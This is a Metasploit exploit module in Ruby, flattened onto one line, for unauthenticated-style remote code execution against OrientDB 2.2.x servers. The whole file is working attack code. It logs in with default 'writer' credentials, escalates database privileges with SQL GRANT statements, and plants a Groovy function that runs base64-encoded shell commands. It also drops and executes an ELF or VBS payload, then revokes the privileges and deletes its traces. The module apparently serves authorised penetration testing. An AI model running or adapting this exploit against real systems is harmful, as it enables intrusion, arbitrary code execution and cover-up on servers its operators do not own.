## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'OrientDB 2.2.x Remote Code Execution', 'Description' => %q{ This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands. All versions from 2.2.2 up to 2.2.22 should be vulnerable. }, 'Author' => [ 'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC 'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://blogs.securiteam.com/index.php/archives/3318'], ['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'], ['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017'] ], 'Platform' => %w{ linux unix win }, 'Privileged' => false, 'Targets' => [ ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}], ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}] ], 'DisclosureDate' => 'Jul 13 2017', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(2480), OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]), OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]), OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ]) ]) end def check uri = target_uri uri.path = normalize_uri(uri.path) res = send_request_raw({'uri' => "#{uri.path}listDatabases"}) if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./ print_good("Version: #{res.headers['Server']}") return Exploit::CheckCode::Vulnerable else print_status("Version: #{res.headers['Server']}") return Exploit::CheckCode::Safe end end def http_send_command(cmd, opts = {}) # 1 -Create the malicious function func_name = Rex::Text::rand_text_alpha(5).downcase request_parameters = { 'method' => 'POST', 'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' }, 'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}" } res = send_request_raw(request_parameters) if not (res and res.code == 201) begin json_body = JSON.parse(res.body) rescue JSON::ParserError fail_with(Failure::Unknown, 'Failed to create the malicious function.') return end end # 2 - Trigger the malicious function request_parameters = { 'method' => 'POST', 'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' }, 'data' => "" } req = send_request_raw(request_parameters) if not (req and req.code == 200) begin json_body = JSON.parse(res.body) rescue JSON::ParserError fail_with(Failure::Unknown, 'Failed to trigger the malicious function.') return end end # 3 - Get the malicious function id if res && res.body.length > 0 begin json_body = JSON.parse(res.body)["@rid"] rescue JSON::ParserError fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.') return end end func_id = json_body.slice(1..-1) # 4 - Delete the malicious function request_parameters = { 'method' => 'DELETE', 'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' => { 'Accept' => '*/*' }, 'data' => "" } rer = send_request_raw(request_parameters) if not (rer and rer.code == 204) begin json_body = JSON.parse(res.body) rescue JSON::ParserError fail_with(Failure::Unknown, 'Failed to delete the malicious function.') return end end end def java_craft_runtime_exec(cmd) decoder = Rex::Text.rand_text_alpha(5, 8) decoded_bytes = Rex::Text.rand_text_alpha(5, 8) cmd_array = Rex::Text.rand_text_alpha(5, 8) jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" jcode << "String [] #{cmd_array} = new String[3];\n" if target['Platform'] == 'win' jcode << "#{cmd_array}[0] = \"cmd.exe\";\n" jcode << "#{cmd_array}[1] = \"/c\";\n" else jcode << "#{cmd_array}[0] = \"/bin/sh\";\n" jcode << "#{cmd_array}[1] = \"-c\";\n" end jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" jcode << "Runtime.getRuntime().exec(#{cmd_array});\n" jcode end def on_new_session(client) if not @to_delete.nil? print_warning("Deleting #{@to_delete} payload file") execute_command("rm #{@to_delete}") end end def execute_command(cmd, opts = {}) vprint_status("Attempting to execute: #{cmd}") @uri = target_uri @uri.path = normalize_uri(@uri.path) res = send_request_raw({'uri' => "#{@uri.path}listDatabases"}) if res && res.code == 200 && res.body.length > 0 begin json_body = JSON.parse(res.body)["databases"] rescue JSON::ParserError print_error("Unable to parse JSON") return end else print_error("Timeout or unexpected response...") return end targetdb = json_body[0] http_send_command(cmd,targetdb) end def linux_stager cmds = "echo LINE | tee FILE" exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) base64 = Rex::Text.encode_base64(exe) base64.gsub!(/\=/, "\\u003d") file = rand_text_alphanumeric(4+rand(4)) execute_command("touch /tmp/#{file}.b64") cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") base64.each_line do |line| line.chomp! cmd = cmds cmd.gsub!(/LINE/, line) execute_command(cmds) end execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") execute_command("chmod +x /tmp/#{file}") execute_command("rm /tmp/#{file}.b64") execute_command("/tmp/#{file}") @to_delete = "/tmp/#{file}" end def exploit @uri = target_uri @uri.path = normalize_uri(@uri.path) res = send_request_raw({'uri' => "#{@uri.path}listDatabases"}) if res && res.code == 200 && res.body.length > 0 begin json_body = JSON.parse(res.body)["databases"] rescue JSON::ParserError print_error("Unable to parse JSON") return end else print_error("Timeout or unexpected response...") return end targetdb = json_body[0] privs_enable = ['create','read','update','execute','delete'] items = ['database.class.ouser','database.function','database.systemclusters'] # Set the required DB permissions privs_enable.each do |priv| items.each do |item| request_parameters = { 'method' => 'POST', 'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"), 'vars_get' => { 'format' => 'rid,type,version,class,graph' }, 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' => { 'Accept' => '*/*' }, 'data' => "GRANT #{priv} ON #{item} TO writer" } res = send_request_raw(request_parameters) end end # Exploit case target['Platform'] when 'win' print_status("#{rhost}:#{rport} - Sending command stager...") execute_cmdstager(flavor: :vbs) when 'unix' print_status("#{rhost}:#{rport} - Sending payload...") res = http_send_command("#{payload.encoded}","#{targetdb}") when 'linux' print_status("#{rhost}:#{rport} - Sending Linux stager...") linux_stager end handler # Final Cleanup privs_enable.each do |priv| items.each do |item| request_parameters = { 'method' => 'POST', 'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"), 'vars_get' => { 'format' => 'rid,type,version,class,graph' }, 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' => { 'Accept' => '*/*' }, 'data' => "REVOKE #{priv} ON #{item} FROM writer" } res = send_request_raw(request_parameters) end end end end